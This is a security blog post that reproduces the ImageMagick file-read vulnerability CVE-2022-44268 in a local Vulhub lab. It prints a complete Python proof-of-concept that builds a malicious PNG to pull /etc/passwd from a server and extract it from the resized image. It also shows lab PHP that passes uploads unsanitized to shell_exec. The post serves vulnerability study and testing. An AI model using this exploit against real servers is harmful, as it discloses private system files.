← Back to all posts
WEB Vulnerability Reproduction and Analysis4 min read

ImageMagick Arbitrary File Read Vulnerability (CVE-2022-44268)

A recently disclosed ImageMagick vulnerability can lead to arbitrary file reads and has a broad impact. This article reproduces and examines the vulnerability.

#PHP programming language
Read in Chinese→

0x00 Prerequisites

An ImageMagick vulnerability was disclosed a few days ago. It can lead to arbitrary file reads, posing a significant risk, so I recently took some time to reproduce and study it.

The vulnerability has a broad impact and is present in many applications, making it worth studying.

0x01 Introduction

ImageMagick is a free and open-source software suite for displaying, converting, and editing image files. It can read and write more than 200 image file formats, so it is commonly found on websites worldwide, where images such as user profile pictures and catalog images frequently need to be processed.

ImageMagick versions 7.1.0-51 and earlier are affected.

CVE-2022-44268: ImageMagick 7.1.0-49 is vulnerable to information disclosure. When it parses a PNG image—for example, during resizing—the resulting image may contain embedded content from an arbitrary remote file, provided that the ImageMagick binary has permission to read it.

0x02 Vulnerability Overview

CVE-2022-44268: Arbitrary Remote File Disclosure

When ImageMagick parses a PNG file, such as during a resizing operation, the resulting image may contain embedded content from an arbitrary remote file on the website, provided that the magick binary has permission to read it.

A malicious actor can create a PNG file, or use an existing PNG file, and add a textual chunk type such as tEXt. These chunk types contain a keyword and a text string. If the keyword is the string profile (without quotation marks), ImageMagick interprets the text string as a filename and loads its contents as a raw profile. The attacker can then download the resized image containing the remote file’s contents.

0x03 Vulnerability Environment

I directly used P Niu’s Vulhub environment because it is very convenient.

Run the following command to start a web server:

docker-compose up -d

Visit http://127.0.0.1:8080 to see the image upload form.

image-20230212160602851

[Backend service]https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/index.php

(Just check GitHub directly.)

Its function is to resize any image uploaded by the user into a 50x50 PNG image.

$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");

0x04 Vulnerability Reproduction

To exploit this vulnerability, first prepare a malicious PNG file whose contents include the path of the file we want to read:

The image can be generated using poc.py:

./poc.py generate -o poc.png -r /etc/passwd

https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
       b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'\n', 1)
    return binascii.unhexlify(data.replace(b'\n', b'')).decode()


def read(filename: str):
    if not filename:
        logging.error('you must specify a input filename')
        return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
        logging.info("chunk %s found, value = %r", k.decode(), v)
        if k == b'zTXt':
            name, data = v.split(b'\x00', 1)
            res = parse_data(d.decompress(data[1:]))

    if res:
        sys.stdout.write(res)
        sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
    if not to_filename:
        logging.error('you must specify a output filename')
        return

    with open(to_filename, 'wb') as f:
        f.write(png.signature)
        if from_filename:
            p = png.Reader(filename=from_filename)
            for k, v in p.chunks():
                if k != b'IEND':
                    png.write_chunk(f, k, v)
        else:
            png.write_chunk(f, b'IHDR', IHDR)
            png.write_chunk(f, b'IDAT', IDAT)

        png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
        png.write_chunk(f, b'IEND', b'')


def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate', 'parse'))
    parser.add_argument('-i', '--input', type=str, help='input filename')
    parser.add_argument('-o', '--output', type=str, help='output filename')
    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
        write(args.input, args.output, args.read)
    elif args.action == 'parse':
        read(args.input)
    else:
        logging.error("bad action")


if __name__ == '__main__':
    main()

Before running poc.py, install PyPNG: pip install pypng

During the upload, an additional payload, profile=/etc/passwd, can be seen.

image-20230212161722446

After the upload succeeds and processing is complete, download the image from the webpage.

Use poc.py to extract all of its contents:

./poc.py parse -i out.png

image-20230212162254636

As shown, the contents of the /etc/passwd file have been extracted. ImageMagick read this content while processing the original image and wrote it into the new image.

0x05 Summary

This vulnerability exists at a relatively low level and may affect many applications. Pay close attention to this type of functionality during testing.